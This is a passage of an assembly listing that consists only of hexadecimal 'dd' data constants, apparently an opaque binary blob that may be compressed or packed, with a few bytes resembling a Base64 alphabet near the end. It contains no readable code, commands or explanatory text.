		dd 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh, 0EB41120Eh
		dd 0A30FE620h, 144D0500h, 24731682h, 2210032h, 774CCE54h
		dd 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh,	8DC0C084h
		dd 29005077h, 0B75AF7E8h, 5C63B9C4h, 9000940Fh,	1F783352h
		dd 55007EEBh, 4882694h,	7121179h, 0A2C314A4h, 0FA56F003h
		dd 4E039FACh, 30E2B810h, 7459D898h, 736B040h, 0C4370E64h
		dd 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h, 471C4D6h
		dd 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h, 1A0C5903h
		dd 1EE0B879h, 373E14CEh, 0B4080065h, 0B648E82Ch, 20990024h
		dd 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h,	0BB3A00FBh
		dd 5EDA90F5h, 850054E0h, 24D6D07Ah, 710BCF8h, 810D48D7h
		dd 411BF0BDh, 1C00752Fh, 0EE5C987Ah, 0E88BFD44h, 25A000D4h
		dd 469437E8h, 23017542h, 0EC971C9Ch, 48F02259h,	4F6100B5h
		dd 95A0056Ah, 90014EBh,	4A339D2Bh, 20CCC5h, 0E85CB227h
		dd 45759331h, 8842D01Fh, 24FEF300h, 11196h, 0BB125F22h
		dd 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch, 69D61C4Fh
		dd 0BB002145h, 0E0F31E12h, 0B5D831h, 0CE4D59E3h, 36D022Bh
		dd 832EFF00h, 4B58BFD5h, 26360065h, 3F9DA4C2h, 5D0038A1h
		dd 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h, 0A1FE3B6h
		dd 28C01B6Bh, 0C896C0Dh, 0F8C60F67h, 420CAACh, 0B026CC91h
		dd 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h,	0C0509DA5h
		dd 6FCC4B6h, 0C800BDEAh, 8D22CC64h, 90504AA3h, 0A48C0EDCh
		dd 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h,	2E01A6h
		dd 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h,	0D0A10013h
		dd 7F80F0C2h, 1A012A61h, 409F0F2Fh, 9A70C8C4h, 7A9700CFh
		dd 0E6B4035Ah, 6A7F2736h, 8ACA5100h, 7CE966A8h,	10680013h
		dd 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h,	98FAD3h
		dd 0D217A33Bh, 8D7D30ABh, 0B3044700h, 9BBA693h,	0DDDB0184h
		dd 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h,	5212C3Dh
		dd 4D6E008Bh, 3B022408h, 0F5000789h, 0C3C7B5FCh, 5810DBCFh
		dd 5A009471h, 0EC598B7Eh, 8003A234h, 0FC9182B7h, 0F3C095B4h
		dd 3E6CFEh, 5A8F59F5h, 7E03C48Dh, 0BAF82000h, 5292B102h
		dd 9A7E6B7h, 78800498h,	0BE00AA74h, 691B6693h, 168D0034h
		dd 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h,	331720F3h
		dd 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h, 2E5DDD34h
		dd 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h
		dd 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h, 55B88B04h
		dd 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h, 8880B494h
		dd 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah,	600F060Bh
		dd 7216EA83h, 0EB100403h, 90F8A123h, 0E421DDDFh, 74400FCh
		dd 0C50477C1h, 340062C9h, 0CFF14858h, 247DC752h, 0ABDC50h
		dd 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh, 0CFE200FCh
		dd 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h, 0D40DA092h
		dd 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h, 0EECF869h
		dd 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h, 68C1A1E0h
		dd 0FB0A8058h, 0FC00EA51h
		dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h,	0F0466909h
		dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch
		dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h
		dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch,	6A0D4680h
		dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h,	8EEB7C72h
		dd 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h, 408C012Fh
		dd 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h,	2B30487h
		dd 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h, 687013E8h
		dd 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h, 54CEE6EAh
		dd 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h,	2EAD812h
		dd 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h,	589C88h
		dd 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h
		dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h,	719684FCh
		dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh,	32E0A95h
		dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h,	0C0C0BE8Bh
		dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh,	522D0DD0h
		dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h
		dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh
		dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h
		dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh
		dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch
		dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h,	3430641Dh
		dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h
		dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h,	855EA488h
		dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h
		dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h,	0B0216ACAh
		dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h
		dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h
		dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h
		dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h
		dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h,	0FECB1907h
		dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h
		dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h,	0E47D56h
		dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h
		dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h,	0EE6DA2Dh
		dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h,	0DC940Ch
		dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh
		dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h,	0E18A64h
		dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h
		dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch
		dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h
		dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h
		dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h
		dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h
		dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h
		dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h
		dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h,	0BC70049h
		dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h,	0ACBE0460h
		dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h
		dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h,	0EFE50203h
		dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah,	3B159449h
		dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h,	1D5540C5h
		dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch
		dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h,	0CCF26007h
		dd 0B7500CBh, 2C683EEh,	0E003255Fh, 7A2A1D0Ah, 0CC50F040h
		dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h,	6D53F92Ch
		dd 7C9842h, 0FBE82A14h,	0BF1BEAFAh, 4500B1F6h, 0E05135Eh
		dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h
		dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh
		dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h
		dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h,	1D0FBA2Ch
		dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h,	196E4C16h
		dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh
		dd 0D11F3Bh, 2D7B5D3Ch,	0E468A3h, 0F8B8292Ah, 8D4C4D2h
		dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh,	6D1EBA3Ah
		dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h
		dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h
		dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h
		dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h
		dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h
		dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh
		dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h,	0DDABC0E3h
		dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h
		dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h
		dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h
		dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch,	0DB84CE52h
		dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh
		dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h,	3F094091h
		dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h,	0D925BD38h
		dd 5A06EC3Dh, 0B60A5Ch,	13406974h, 3D21E992h, 3E7CA84Bh
		dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h
		dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh
		dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h
		dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh,	5C328085h
		dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh,	58891040h
		dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h
		dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h
		dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h
		dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh,	88DC0FA1h
		dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h,	0CA88CABh
		dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h
		dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh
		dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h
		dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh
		dd 38E0AC84h, 7CEFD80h,	1CF47Ch, 68281178h, 89740F18h
		dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch,	0F8FAF71Eh
		dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh
		dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h
		dd 9FC700Ah, 7D97E800h,	81BA2098h, 80510995h, 0E0803F60h
		dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h,	0F3133AFCh
		dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h
		dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh,	18BF0372h
		dd 2C7F40FBh, 9B831F4Ch
		dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h,	0F3E11CC8h
		dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h
		dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h,	6C30BFF3h
		dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h
		dd 10917BEh, 763352A3h,	0E011D825h, 88028F4Bh, 0AAC81B1h
		dd 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h,	6D55AA12h
		dd 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h, 0C97E0B1Ah
		dd 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh, 0D8F320D9h
		dd 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h, 8A001508h
		dd 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh,	0E3FE3306h
		dd 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h,	116049D2h
		dd 2BB48719h, 86081C01h, 27204EAh, 0EB09330h, 0E65D8A45h
		dd 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h, 83067Dh
		dd 0D7DAF7A7h, 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh, 32DC61h
		dd 258C35F7h, 5B23F1Dh,	49430A01h, 0ED15D50Bh, 8BE980E7h
		dd 0AA040709h, 10F8DC3Bh, 4B735852h, 830E0F98h,	0A01D12FAh
		dd 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h, 0E03A8889h
		dd 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh, 4B0D002Dh
		dd 3DA0F475h, 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h
		dd 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h, 81891D8Ah
		dd 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h,	0E9027F76h
		dd 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h, 1E74D03Ch
		dd 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch, 0F7CC0784h
		dd 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h, 5C00041h
		dd 0EADFC42Bh, 26B8B701h, 0BA402A00h, 0BDE7602h, 1720029Bh
		dd 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h,	0EB48DBB6h
		dd 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h,	3600FD20h
		dd 33C81067h, 299D28h, 99593577h, 6E1940D0h, 0D9D60B1Eh
		dd 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h, 0E9EAC1EAh
		dd 136BC200h, 8C5AE8Fh,	5D770Bh, 0DE4F1673h, 68C61B28h
		dd 0F0578D00h, 5A80E84Ch, 9C220081h, 4BE96CBAh,	591F13F4h
		dd 60C79001h, 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h,	0E3AFF599h
		dd 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h, 16207536h
		dd 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh, 3046BA33h
		dd 403421EBh, 0B716C30Eh, 8745C019h, 0DA74D7h, 55F0F73Bh
		dd 4E775D05h, 1C042498h, 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h
		dd 374272Ch, 4D228039h,	103E9620h, 0EF560060h, 648AEDE2h
		dd 47F1906h, 52450B07h,	0C373020Dh, 3AAC88C0h, 0D0F400C4h
		dd 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch,	0A1C76630h
		dd 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h, 3925E430h
		dd 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h, 653B3Ah
		dd 1896DF36h, 0D78B46h,	424039EBh, 0D32D4CD8h, 1EDBFE01h
		dd 0CABF79DAh, 83C7D4h,	0F7D9E880h, 0EC5589C1h,	3E60CB00h
		dd 0EB01F8A2h, 71A400B6h, 1432AF43h, 0A7002DAEh, 0A1B42B93h
		dd 9C0FFAh, 0FBC1B801h,	589666EBh, 116BEC00h, 2703F80Eh
		dd 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h, 0E4E7006Ah
		dd 222C35Bh, 6084482Ah,	61E06B29h, 0E48BA13h, 0C20776A2h
		dd 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h
		dd 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh, 270045CEh
		dd 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h, 0C0074FC4h
		dd 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh, 803C2606h
		dd 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h, 0A4A68146h
		dd 5ECDE4F9h, 3880500h,	0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h
		dd 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h,	7FD307Ch
		dd 4DFF01F5h, 7475F425h, 0BB0D00C4h, 3414DE45h,	0E40FC400h
		dd 41AB127Eh, 43290104h, 4B0B1F91h, 0F9987150h,	0DEC16031h
		dd 6BB86600h, 2E6C9622h, 9E1E00EBh, 9A88FC25h, 0DD004517h
		dd 0F7EE7E0h, 1CC9B258h, 808DF228h, 0BF065975h,	0C200AA9Ah
		dd 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h, 736D3100h
		dd 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h, 0A03D0320h
		dd 58227507h, 4600BB09h, 119FA506h, 737B90AAh, 9D7E811Fh
		dd 326B800h, 0E1340h, 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h
		dd 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h, 0E051ECA2h
		dd 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h
		dd 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h, 0F8EF80BCh
		dd 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah, 7DDE515h
		dd 8E8C0h, 660F7004h, 45E33005h, 621DE27Ch, 480032EBh
		dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h
		dd 712FF83h, 8027730Fh,	351F707Ch, 44E425C6h, 4FE00E00h
		dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h
		dd 525F9862h, 7A533530h, 21190325h, 0F150A190h,	77835688h
		dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh
		dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h,	5C2C9DAEh
		dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h,	0F4891BFh
		dd 82D0EFDh, 81A70064h,	0B6B3DAh, 15730DE0h, 0E0549F2h
		dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah
		dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh
		dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh,	0EBECCC49h
		dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch
		dd 0B009873h, 3134C8Dh,	0C61602h, 80D58207h, 0F7D1853Fh
		dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h
		dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h
		dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h,	464E0107h
		dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh
		dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh,	0E83B960Ch
		dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h
		dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h
		dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh
		dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h,	0C40027DDh
		dd 0F03A2CF3h, 0F730Ah,	290DDA26h, 0CE904349h, 53B80600h
		dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h,	6BE4002Ah
		dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h
		dd 0B871F8h, 250E978Ah,	0F0340F4h, 0B67850Fh, 7606A055h
		dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h
		dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh
		dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h
		dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch
		dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h,	56520027h
		dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h
		dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh
		dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h
		dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh,	302F206Eh
		dd 42E4F178h, 1C0E397Eh
		dd 0E7760410h, 0A8340E1h, 2B110082h, 5025D453h,	8B0BB273h
		dd 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh
		dd 408A07D0h, 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h
		dd 71060B41h, 70809DDBh, 0ACE6E2F3h, 85C33803h,	0B9038B61h
		dd 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h, 0F410E099h
		dd 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh
		dd 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h, 0EEE0E9C1h
		dd 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh, 2CE5C26h
		dd 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh, 0E09373FAh
		dd 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch
		dd 1F0F5372h, 0CC10E4C6h, 4E0002E0h, 0B8B9D75h,	0E498C985h
		dd 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h, 2BA9008Ch
		dd 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h, 0CE1F71A7h
		dd 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h, 0E9775A35h
		dd 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h, 0F30C5D70h
		dd 100E540h, 0DC92772h,	71C2F002h, 0D68B3E13h, 0CF507480h
		dd 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h, 0A02F0054h
		dd 91757948h, 11FE42A5h, 0B657700h, 75676B5h, 5478ABh
		dd 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h, 0A049481Ch
		dd 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h, 0C8F94CAh
		dd 0FAD1004Bh, 8A7F2089h, 11005653h, 0B8E1CB27h, 0ADA17h
		dd 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh,	759F008Bh
		dd 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h, 28A00D5h
		dd 274307ECh, 0DE004647h, 7570B033h, 28E6E8h, 2A09BC80h
		dd 4B26048Bh, 16C78A00h, 0F13E0649h, 0F40000Dh,	0C8E65B81h
		dd 7D3B0C34h, 37311824h, 5711DCh, 40478014h, 0D97B754Bh
		dd 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h, 0F8E280ECh
		dd 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h, 0D9B013FCh
		dd 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh, 0A5799FD7h
		dd 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h, 0C70A57E2h
		dd 88A11C00h, 0F21F75Dh, 408C0059h, 183C8D12h, 307F2AC3h
		dd 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h,	0FC3245F3h
		dd 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h, 0E07D3173h
		dd 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch,	9BDD88B0h
		dd 1A1D0C71h, 0A89DE410h, 6EB78680h, 0C776B4h, 0DE3D34Ah
		dd 0D6E8FD4Fh, 7E400401h, 4730BE21h, 0E0446130h, 13FF7D18h
		dd 1A2CBFh, 0AF4ED6FAh,	0F2B89F23h, 59760E9h, 5FE4FE00h
		dd 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h, 33ADFC00h
		dd 8D487C06h, 89231FBBh, 0A7084157h, 61042035h,	904EF815h
		dd 54A2FE03h, 8041C59Ch, 7444342h, 48474645h, 4B4A0049h
		dd 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h, 62615A59h
		dd 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch, 7271706Fh
		dd 75740073h, 780E7776h, 307A79h, 34333231h, 37361C35h
		dd 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh, 703A3B2Ch
		dd 5C5F002Dh, 927222Ah,	91000D0Ah, 0AAE4C4E0h, 7388E867h
		dd 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h, 1490B926h
		dd 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h,	5C49E960h
		dd 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh, 96FC6B5Bh
		dd 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h, 0FC66C204h
		dd 190759E4h, 941FEBECh, 956BC70h, 4052008Ah, 0D4CF5C7Ch
		dd 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh,	83481F05h
		dd 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h, 0C6660347h
		dd 11F01600h, 5521429Fh, 4ABF0051h, 6C7EE292h, 0BB0076E1h
		dd 0EB071569h, 41B929h,	0DC30630Ah, 0AB83E806h,	5600807Eh
		dd 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h, 8F82B80Eh
		dd 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h, 0C7143032h
		dd 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h, 41FA6E7Eh
		dd 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh, 15684A00h
		dd 648CD44h, 387A4Bh, 519E418Bh, 2F02BAF3h, 921ACF07h
		dd 0E83084E9h, 7BDD206h, 0A7EC4FF9h, 2ADF90C2h,	2004589h
		dd 169F4999h, 0ECD9C65Ah, 6B7623h, 2F42C288h, 0F0CA36FFh
		dd 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h, 627F6FD8h
		dd 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh, 0D4952D01h
		dd 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h,	50B1C594h
		dd 2132839Fh, 0B2525207h, 62B071C4h, 790B0A0Dh,	1EB473FFh
		dd 15D80CAh, 0B186A9C6h, 0A33EF44Fh, 50495307h,	16B5B95Bh
		dd 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h, 52250194h
		dd 4690200h, 484EB36Fh,	0A25F0010h, 0BF446CF0h,	25001609h
		dd 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh, 47D10B00h
		dd 75484B0Dh, 782E74EEh, 0FAB70066h, 498A01D3h,	0C0F8840h
